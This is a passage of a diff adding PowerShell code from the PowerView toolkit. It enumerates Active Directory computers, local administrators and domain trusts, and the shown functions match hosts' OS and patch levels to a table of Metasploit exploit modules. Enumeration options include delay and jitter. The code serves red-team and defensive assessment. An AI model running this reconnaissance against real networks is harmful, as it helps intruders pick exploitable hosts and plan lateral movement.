"Invoke-FindVulnSystems" function from the PowerView toolkit. +#> + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem = '*', + + [String] + $ServicePack = '*', + + [String] + $Filter, + + [Switch] + $Ping, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + Write-Verbose "[*] Grabbing computer accounts from Active Directory..." + + # Create data table for hostnames, os, and service packs from LDAP + $TableAdsComputers = New-Object System.Data.DataTable + $Null = $TableAdsComputers.Columns.Add('Hostname') + $Null = $TableAdsComputers.Columns.Add('OperatingSystem') + $Null = $TableAdsComputers.Columns.Add('ServicePack') + $Null = $TableAdsComputers.Columns.Add('LastLogon') + + Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { + + $CurrentHost = $_.dnshostname + $CurrentOs = $_.operatingsystem + $CurrentSp = $_.operatingsystemservicepack + $CurrentLast = $_.lastlogon + $CurrentUac = $_.useraccountcontrol + + $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) + + # Check the 2nd to last value to determine if its disabled + $DisableOffset = $CurrentUacBin.Length - 2 + $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) + + # Add computer to list if it's enabled + if ($CurrentDisabled -eq 0) { + # Add domain computer to data table + $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) + } + } + + # Status user + Write-Verbose "[*] Loading exploit list for critical missing patches..." + + # ---------------------------------------------------------------- + # Setup data table for list of msf exploits + # ---------------------------------------------------------------- + + # Create data table for list of patches levels with a MSF exploit + $TableExploits = New-Object System.Data.DataTable + $Null = $TableExploits.Columns.Add('OperatingSystem') + $Null = $TableExploits.Columns.Add('ServicePack') + $Null = $TableExploits.Columns.Add('MsfModule') + $Null = $TableExploits.Columns.Add('CVE') + + # Add exploits to data table + $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + + # Status user + Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." + + # ---------------------------------------------------------------- + # Setup data table to store vulnerable systems + # ---------------------------------------------------------------- + + # Create data table to house vulnerable server list + $TableVulnComputers = New-Object System.Data.DataTable + $Null = $TableVulnComputers.Columns.Add('ComputerName') + $Null = $TableVulnComputers.Columns.Add('OperatingSystem') + $Null = $TableVulnComputers.Columns.Add('ServicePack') + $Null = $TableVulnComputers.Columns.Add('LastLogon') + $Null = $TableVulnComputers.Columns.Add('MsfModule') + $Null = $TableVulnComputers.Columns.Add('CVE') + + # Iterate through each exploit + $TableExploits | ForEach-Object { + + $ExploitOS = $_.OperatingSystem + $ExploitSP = $_.ServicePack + $ExploitMsf = $_.MsfModule + $ExploitCVE = $_.CVE + + # Iterate through each ADS computer + $TableAdsComputers | ForEach-Object { + + $AdsHostname = $_.Hostname + $AdsOS = $_.OperatingSystem + $AdsSP = $_.ServicePack + $AdsLast = $_.LastLogon + + # Add exploitable systems to vul computers data table + if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { + # Add domain computer to data table + $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) + } + } + } + + # Display results + $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object + $VulnComputerCount = $VulnComputer.Count + if ($VulnComputer.Count -gt 0) { + # Return vulnerable server list order with some hack date casting + Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" + $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending + } + else { + Write-Verbose "[-] No vulnerable systems were found." + } +} + + +function Invoke-EnumerateLocalAdmin { +<# + .SYNOPSIS + + This function queries the domain for all active machines with + Get-NetComputer, then for each server it queries the local + Administrators with Get-NetLocalGroup. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER NoClobber + + Switch. Don't overwrite any existing output file. + + .PARAMETER TrustGroups + + Switch. Only return results that are not part of the local machine + or the machine's domain. Old Invoke-EnumerateLocalTrustGroup + functionality. + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-EnumerateLocalAdmin + + Enumerates the members of local administrators for all machines + in the current domain. + + .EXAMPLE + + PS C:\> Invoke-EnumerateLocalAdmin -Threads 10 + + Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $OutFile, + + [Switch] + $NoClobber, + + [Switch] + $TrustGroups, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } + + if($TrustGroups) { + + Write-Verbose "Determining domain trust groups" + + # find all group names that have one or more users in another domain + $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique + + $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { + # ignore the builtin administrators group for a DC (S-1-5-32-544) + # TODO: ignore all default built in sids? + Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid } + } + + # query for the primary domain controller so we can extract the domain SID for filtering + $DomainSID = Get-DomainSID -Domain $Domain + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # grab the users for the local admins on this server + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + + # if we just want to return cross-trust users + if($DomainSID -and $TrustGroupSIDS) { + # get the local machine SID + $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" + + # filter out accounts that begin with the machine SID and domain SID + # but preserve any groups that have users across a trust ($TrustGroupSIDS) + $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } + } + + if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { + # output the results to a csv if specified + if($OutFile) { + $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile + } + else { + # otherwise return the user objects + $LocalAdmins + } + } + else { + Write-Verbose "[!] No users returned from $Server" + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'OutFile' = $OutFile + 'DomainSID' = $DomainSID + 'TrustGroupsSIDs' = $TrustGroupsSIDs + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } + } + } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-NetDomainTrust { +<# + .SYNOPSIS + + Return all domain trusts for the current domain or + a specified domain. + + .PARAMETER Domain + + The domain whose trusts to enumerate, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust + + Return domain trusts for the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain, reflecting + queries through the "Primary.testlab.local" domain controller +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Domain = (Get-NetDomain).Name, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + if($LDAP -or $DomainController) { + + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize + + if($TrustSearcher) { + + $TrustSearcher.filter = '(&(objectClass=trustedDomain))' + + $TrustSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + $TrustAttrib = Switch ($Props.trustattributes) + { + 0x001 { "non_transitive" } + 0x002 { "uplevel_only" } + 0x004 { "quarantined_domain" } + 0x008 { "forest_transitive" } + 0x010 { "cross_organization" } + 0x020 { "within_forest" } + 0x040 { "treat_as_external" } + 0x080 { "trust_uses_rc4_encryption" } + 0x100 { "trust_uses_aes_keys" } + Default { + Write-Warning "Unknown trust attribute: $($Props.trustattributes)"; + "$($Props.trustattributes)"; + } + } + $Direction = Switch ($Props.trustdirection) { + 0 { "Disabled" } + 1 { "Inbound" } + 2 { "Outbound" } + 3 { "Bidirectional" } + } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust + } + } + } + + else { + # if we're using direct domain connections + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() + } + } + } +} + + +function Get-NetForestTrust { +<# + .SYNOPSIS + + Return all trusts for the current forest. + + .PARAMETER Forest + + Return trusts for the specified forest. + + .EXAMPLE + + PS C:\> Get-NetForestTrust + + Return current forest trusts. + + .EXAMPLE + + PS C:\> Get-NetForestTrust -Forest "test" + + Return trusts for the "test" forest. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + $FoundForest = Get-NetForest -Forest $Forest + if($FoundForest) { + $FoundForest.GetAllTrustRelationships() + } + } +} + + +function Find-ForeignUser { +<# + .SYNOPSIS + + Enumerates users who are in groups outside of their + principal domain. The -Recurse option will try to map all + transitive domain trust relationships and enumerate all + users who are in groups outside of their principal domain. + + .PARAMETER UserName + + Username to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all user trust groups from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignUser { + # helper used to enumerate users who are in groups outside of their principal domain + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if ($Domain) { + # get the domain name into distinguished form + $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' + } + else { + $DistinguishedDomainName = [String] ([adsi]'').distinguishedname + $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize | Where-Object {$_.memberof} | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf("DC=") + if($Index) { + + $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain.CompareTo($Domain)) { + # if the group domain doesn't match the user domain, output + $GroupName = $Membership.split(",")[0].split("=")[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership + $ForeignUser + } + } + } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize + } + } + else { + Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize + } +} + + +function Find-ForeignGroup { +<# + .SYNOPSIS + + Enumerates all the members of a given domain's groups + and finds users that are not in the queried domain. + The -Recurse flag will perform this enumeration for all + eachable domain trusts. + + .PARAMETER GroupName + + Groupname to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for groups, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all group trust users from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignGroup { + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if(-not $Domain) { + $Domain = (Get-NetDomain).Name + } + + $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" + Write-Verbose "DomainDN: $DomainDN" + + # standard group names to ignore + $ExcludeGroups = @("Users", "Domain Users", "Guests") + + # get all the groupnames for the given domain + Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {$_.member} | Where-Object { + # exclude common large groups + -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { + + $GroupName = $_.samAccountName + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { + + $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $UserName = $_.split(",")[0].split("=")[1] + + $ForeignGroupUser = New-Object PSObject 